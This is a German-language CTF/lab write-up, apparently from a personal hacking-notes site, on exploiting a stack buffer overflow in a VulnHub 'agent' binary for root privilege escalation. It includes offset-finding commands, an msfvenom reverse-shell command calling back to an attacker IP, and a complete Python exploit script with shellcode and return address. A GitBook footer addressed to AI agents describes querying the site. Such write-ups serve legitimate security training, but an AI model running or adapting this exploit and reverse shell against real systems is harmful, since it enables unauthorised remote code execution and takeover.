> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md).

# Linux-Pufferüberlauf - Agent-Binary

{% hint style="info" %}
Der folgende Buffer Overflow resultiert aus einer Rechteeskalation auf einer VulnHub-Maschine. Die verwundbare Binärdatei ist ein ausführbares Programm namens "agent" auf einem Linux-System. Hier ist die vollständige Vorgehensweise, wie der Pufferüberlauf ausgenutzt wird:
{% endhint %}

## Ausnutzung des Pufferüberlaufs:

**Identifizierung der Binärdatei „agent“:**

* Verwende den `find` Befehl zum Auffinden der Binärdatei namens "agent" auf der Maschine.
* Die 32-Bit-Binärdatei wird zusammen mit einer Textdatei gefunden, die ihre Ausführung durch root auf Port 7788 angibt.

<figure><img src="/files/d276a0a882b49a24a8d6f7e6630f3a7bd1fc7e64" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5cf50da6ef647a43465ed41ceabc29265ffd51c4" alt=""><figcaption></figcaption></figure>

**Binärübertragung mit Netcat:**

Verwendung von Netcat, um die Binärdatei der Maschine auf den Angreifer-Rechner zu übertragen.

<figure><img src="/files/2f298353bdd80afdfd8a854e27e38ec1539bfc16" alt=""><figcaption></figcaption></figure>

**Codeanalyse mit** [ghidra ](https://ghidra-sre.org/)**:**

* Verwendung der Ghidra-Software zur Analyse des Binärcode-Quellcodes.

<figure><img src="/files/cd28aa4405be44540ae08786e8a0b16b77578c0d" alt=""><figcaption></figcaption></figure>

* Identifizierung der Variablen "validcode", die die Code-ID in hexadezimaler Form enthält.

<figure><img src="/files/86c7b956c6839c6844ac10b28972e103a4973d0d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b8f7ddcd5b497dafd2dad10d3d0fb8dffa972c62" alt=""><figcaption></figcaption></figure>

**Analyse des Buffer Overflows:**

Mithilfe der Funktion "report()" wird eine Buffer-Overflow-Schwachstelle durch die Funktion "gets" erkannt.

<figure><img src="/files/bff6dda76148511c8d96daa4b7c04abfc9d8b1b5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e8900db2e82eec69459fa8ce0ec4084d9725e737" alt=""><figcaption></figcaption></figure>

**Ausnutzung des Buffer Overflows mit GDB:**

<figure><img src="/files/e5ea68de5ebaa154ee31924b5f0e407c46003045" alt=""><figcaption></figcaption></figure>

* Es wurde eine 200 Zeichen lange Zeichenkette "A" erstellt, um den Überlauf zu testen.

```python
python -c 'print("A"*200)'
```

<figure><img src="/files/c2b4a5db02237303110348f37f51c78e89712eb8" alt=""><figcaption></figcaption></figure>

Beachten Sie die Ersetzung des EIP (Instruction Pointer) mit dem Befehl "pattern create 200".

<figure><img src="/files/e25e77b43a5bf070ed9e5f980b088042b3488796" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2a64518b1aa065b28a0e121745ab46b8c116cc1b" alt=""><figcaption></figcaption></figure>

* Ermittlung des Offsets mit dem Befehl "pattern offset $eip".

<figure><img src="/files/12288a2c14dbd3a8604973e4b2646cfd8c339474" alt=""><figcaption></figcaption></figure>

* Überprüfung durch Einfügen einer EIP-Zeichenkette aus 168 A- und 4 B-Zeichen:

```python
python -c 'print("A"*168 + "B"*4)'
```

<figure><img src="/files/7bf05cf4de28bfc4b7f2ff6015d7808357de9e52" alt=""><figcaption></figcaption></figure>

* Überprüfung der Schutzmechanismen mit dem Befehl "checksec".

<figure><img src="/files/2ff41bb89625f8ca4331c796528e38d42634c343" alt=""><figcaption></figcaption></figure>

**ASLR-Überprüfung:**

Suche nach statischen Adressen der Binärdatei mit dem Befehl "objdump -d agent | grep -i 'FF D0'".

```bash
objdump -d agent | grep -i "FF D0"
```

<figure><img src="/files/f8d395b3451f39bc374eebb50cf9f93e83f8003c" alt=""><figcaption></figcaption></figure>

**Erstellung von Shellcode für die Reverse Shell:**

Verwendung von Metasploit zur Generierung von Shellcode für eine Reverse Shell.

```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.71.128 LPORT=443 -b '/x00/x0a/x0d' -f c
```

<figure><img src="/files/ad012b742a0b377376fb5d4b0a47eefbd225b66c" alt=""><figcaption></figcaption></figure>

**Python-Skript für die Ausführung:**/ Schreiben eines Python-Skripts, um sich mit dem verwundbaren Dienst zu verbinden und den Buffer Overflow auszunutzen.

```python
#!/usr/bin/python3 

from struct import pack
import socket 

shellcode = (b"/xbf/x11/x58/xbb/xb7/xdb/xd7/xd9/x74/x24/xf4/x58/x31/xc9"
b"/xb1/x12/x31/x78/x12/x83/xc0/x04/x03/x69/x56/x59/x42/xb8"
b"/xbd/x6a/x4e/xe9/xb2/xc6/xfb/x0f/x0c/x09/x4b/x69/xc3/x4a"
b"/x3f/x2c/x6b/x75/x8d/x4e/xc2/xf3/xf4/x26/x15/xab/x40/x36"
b"/xfd/xae/x4e/x37/x45/x27/xaf/x87/xdf/x68/x61/xb4/xac/x8a"
b"/x08/xdb/x1e/x0c/x58/x73/xcf/x22/x2e/xeb/x67/x12/xff/x89"
b"/x1e/xe5/x1c/x1f/xb2/x7c/x03/x2f/x3f/xb2/x44")


offset = 168 
payload = shellcode + b"A" * (offset - len(shellcode)) + pack("<I", 0x08048563) + b"/n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 7788))
s.recv(1024)
s.send(b"48093572/n")
s.recv(1024)
s.send(b"3/n")
s.recv(1024)
s.send(payload)
```

<figure><img src="/files/121e82ef2ad8d6a1e321cf1f000f99f0b75efd09" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
